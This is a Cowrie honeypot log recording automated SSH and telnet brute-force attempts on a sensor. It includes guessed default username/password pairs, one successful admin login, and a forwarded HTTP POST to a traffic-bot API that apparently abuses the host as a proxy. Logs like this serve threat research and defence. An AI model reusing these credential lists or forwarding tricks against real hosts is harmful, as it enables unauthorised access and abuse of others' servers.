{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":42748,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce929127f96c","protocol":"ssh","message":"New connection: 41.90.100.147:42748 (159.203.135.109:22) [session: ce929127f96c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:22.629731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:22.633380Z","src_ip":"41.90.100.147","session":"ce929127f96c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:22.849485Z","src_ip":"41.90.100.147","session":"ce929127f96c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"fivem123","message":"login attempt [fivem/fivem123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:23.751175Z","src_ip":"41.90.100.147","session":"ce929127f96c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"654321","message":"login attempt [ftpuser/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:24.239866Z","src_ip":"91.92.40.36","session":"5c36b2c3a764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:24.970547Z","src_ip":"41.90.100.147","session":"ce929127f96c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.059565782547,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:25.596598Z","src_ip":"172.81.62.90","session":"6da62165ae78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:26.277917Z","src_ip":"91.92.40.36","session":"5c36b2c3a764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45218,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5ba34252621","protocol":"ssh","message":"New connection: 91.92.40.36:45218 (159.203.135.109:22) [session: b5ba34252621]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:29.206821Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:29.525843Z","src_ip":"91.92.40.36","session":"b5ba34252621","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:29.528626Z","src_ip":"91.92.40.36","session":"b5ba34252621","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Pa$w0rd","message":"login attempt [admin/Pa$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:30.301393Z","src_ip":"91.92.40.36","session":"b5ba34252621","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:31.454966Z","src_ip":"91.92.40.36","session":"b5ba34252621","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25918,"dst_ip":"159.203.135.109","dst_port":22,"session":"45cbca0ab02e","protocol":"ssh","message":"New connection: 91.92.40.36:25918 (159.203.135.109:22) [session: 45cbca0ab02e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:36.638537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:36.777800Z","src_ip":"91.92.40.36","session":"45cbca0ab02e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:36.781486Z","src_ip":"91.92.40.36","session":"45cbca0ab02e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www-data","password":"123","message":"login attempt [www-data/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:38.794442Z","src_ip":"91.92.40.36","session":"45cbca0ab02e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:40.041483Z","src_ip":"91.92.40.36","session":"45cbca0ab02e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.088982582092285,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:40.105346Z","src_ip":"172.81.62.90","session":"cffd1400e253","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00108599662781,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:40.480233Z","src_ip":"94.23.66.112","session":"31a76ce56dfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25938,"dst_ip":"159.203.135.109","dst_port":22,"session":"acb0af105f5c","protocol":"ssh","message":"New connection: 91.92.40.36:25938 (159.203.135.109:22) [session: acb0af105f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:43.887736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:44.012319Z","src_ip":"91.92.40.36","session":"acb0af105f5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:44.015507Z","src_ip":"91.92.40.36","session":"acb0af105f5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.822720766067505,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:45.361852Z","src_ip":"172.81.62.90","session":"fe175dd77c24","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123qwerty","message":"login attempt [debian/123qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:45.715428Z","src_ip":"91.92.40.36","session":"acb0af105f5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:46.990829Z","src_ip":"91.92.40.36","session":"acb0af105f5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":54872,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2afa2fc5ff1","protocol":"ssh","message":"New connection: 123.27.168.40:54872 (10.17.0.5:22) [session: a2afa2fc5ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:49.408948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:49.413340Z","src_ip":"123.27.168.40","session":"a2afa2fc5ff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:49.660487Z","src_ip":"123.27.168.40","session":"a2afa2fc5ff1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:50.924471Z","src_ip":"123.27.168.40","session":"a2afa2fc5ff1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:51.472040Z","session":"a2afa2fc5ff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":65030,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ea793254903","protocol":"ssh","message":"New connection: 91.92.40.36:65030 (159.203.135.109:22) [session: 4ea793254903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:51.578000Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:51.600213Z","session":"a2afa2fc5ff1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:51.636137Z","src_ip":"91.92.40.36","session":"4ea793254903","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:51.742548Z","src_ip":"91.92.40.36","session":"4ea793254903","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:52.020005Z","src_ip":"123.27.168.40","session":"a2afa2fc5ff1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 13_2_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.2.2 EdgiOS/89.0.774.76 Mobile/17B102 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=JG02VVdtdCZyZnNeVFRvIw%3D%3DOflwp5iLqjAseMEffzyP%2F8NhXLPVeIN8%2BtQPfwLLI61i5rYNHNNiVLwHKpiYDuUt4wl3PmsR0vS6ifsHlzLaW8F4b4eOyudtf6zl6Ydiy3g1r5%2F%2FVek3K5mBkQ7PZ7iHwxeeLkDwr0PL1mKr8mBTWMe1w8TDQ9c%2B46YP2aoQpS0s4IVNp7nVcjA2oBb7mXsbikUlNzQQmnDsmVT2vvtWI2jXUs9yagQs6j30WoXJqMONNb%2BK7uXSrvufZHix1VLjhYwQsSyAN1dHob%2FnFSb7%2BAMgCJS6ytzst0El79gtlDchfj%2Bp58NA1hXMANWXfuv%2BmAE36nrUZeXGKzorURllZN44OyJ%2FtNEYJiws%2FbsvLV%2B%2B9hTKvMWReqHlirGm2uUkeVLOx4oIvh0l2FmKPtqe4ebBnfn2%2FvjqMSDXBsOwA4erxfnvLGN4qnXiw5cwfPlfyV9vHkdHYxBAWuS7j7fHN5GikBFAPd%2BlaWp271ovXSTRfKLs7dOoFeCI2VO%2FnuxTyvo0cuGYnepoFHms30QN83%2Byi9pb%2BrERiB0pOz2ZLA%2FW8DaI8d0Eg7BA3C%2BSvlxQ9inTtnOyFxFrKU60fK4hwrn%2Bmr6MG08ovSQy7azJglZ4y%2BfppgEAQYz61teckBb3EOt4JCr8iOPK3DJlQ0DEsShoP2Hg9%2FiLfM07fWXoMMEPFtWePSAXsUwYPjSNf5MTyKVeO6lRSmAXUcM893xNnb6zB9RX2FxhhE9%2Frb64i%2BiRQAqZpqhtPL6lZBZms2k7cKdLI9CaCNxMBrqVIoj8Y2UX6jo9%2Bip91uq5VfTMqbnRcRtKsEXvnF4cPpQtF8DS60K13Q6npGuplyEOV0ZDMzSxxpZgQhxTCTWf6Dokd%2BxuhrSl2qQCb8D98tawIpU%2BzpfoouEpk5NHhR5%2FnDDd3FfVkvo%2FBx39ppAhy4jG7uFOBB7UvBgh8F8e9s2LVs6pZfrbYWCkm26naqryX2HunW%2FR3vkVK3cprtR55a0ws2Sy9lqdYXNKK9Z2LhymVPHmWfW5PaMKnqWc1BNGp8DVZ3jWlUeFIownMmFQ2uI1HE8%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 13_2_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.2.2 EdgiOS/89.0.774.76 Mobile/17B102 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=JG02VVdtdCZyZnNeVFRvIw%3D%3DOflwp5iLqjAseMEffzyP%2F8NhXLPVeIN8%2BtQPfwLLI61i5rYNHNNiVLwHKpiYDuUt4wl3PmsR0vS6ifsHlzLaW8F4b4eOyudtf6zl6Ydiy3g1r5%2F%2FVek3K5mBkQ7PZ7iHwxeeLkDwr0PL1mKr8mBTWMe1w8TDQ9c%2B46YP2aoQpS0s4IVNp7nVcjA2oBb7mXsbikUlNzQQmnDsmVT2vvtWI2jXUs9yagQs6j30WoXJqMONNb%2BK7uXSrvufZHix1VLjhYwQsSyAN1dHob%2FnFSb7%2BAMgCJS6ytzst0El79gtlDchfj%2Bp58NA1hXMANWXfuv%2BmAE36nrUZeXGKzorURllZN44OyJ%2FtNEYJiws%2FbsvLV%2B%2B9hTKvMWReqHlirGm2uUkeVLOx4oIvh0l2FmKPtqe4ebBnfn2%2FvjqMSDXBsOwA4erxfnvLGN4qnXiw5cwfPlfyV9vHkdHYxBAWuS7j7fHN5GikBFAPd%2BlaWp271ovXSTRfKLs7dOoFeCI2VO%2FnuxTyvo0cuGYnepoFHms30QN83%2Byi9pb%2BrERiB0pOz2ZLA%2FW8DaI8d0Eg7BA3C%2BSvlxQ9inTtnOyFxFrKU60fK4hwrn%2Bmr6MG08ovSQy7azJglZ4y%2BfppgEAQYz61teckBb3EOt4JCr8iOPK3DJlQ0DEsShoP2Hg9%2FiLfM07fWXoMMEPFtWePSAXsUwYPjSNf5MTyKVeO6lRSmAXUcM893xNnb6zB9RX2FxhhE9%2Frb64i%2BiRQAqZpqhtPL6lZBZms2k7cKdLI9CaCNxMBrqVIoj8Y2UX6jo9%2Bip91uq5VfTMqbnRcRtKsEXvnF4cPpQtF8DS60K13Q6npGuplyEOV0ZDMzSxxpZgQhxTCTWf6Dokd%2BxuhrSl2qQCb8D98tawIpU%2BzpfoouEpk5NHhR5%2FnDDd3FfVkvo%2FBx39ppAhy4jG7uFOBB7UvBgh8F8e9s2LVs6pZfrbYWCkm26naqryX2HunW%2FR3vkVK3cprtR55a0ws2Sy9lqdYXNKK9Z2LhymVPHmWfW5PaMKnqWc1BNGp8DVZ3jWlUeFIownMmFQ2uI1HE8%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:52.023375Z","src_ip":"123.27.168.40","session":"a2afa2fc5ff1","protocol":"ssh"}
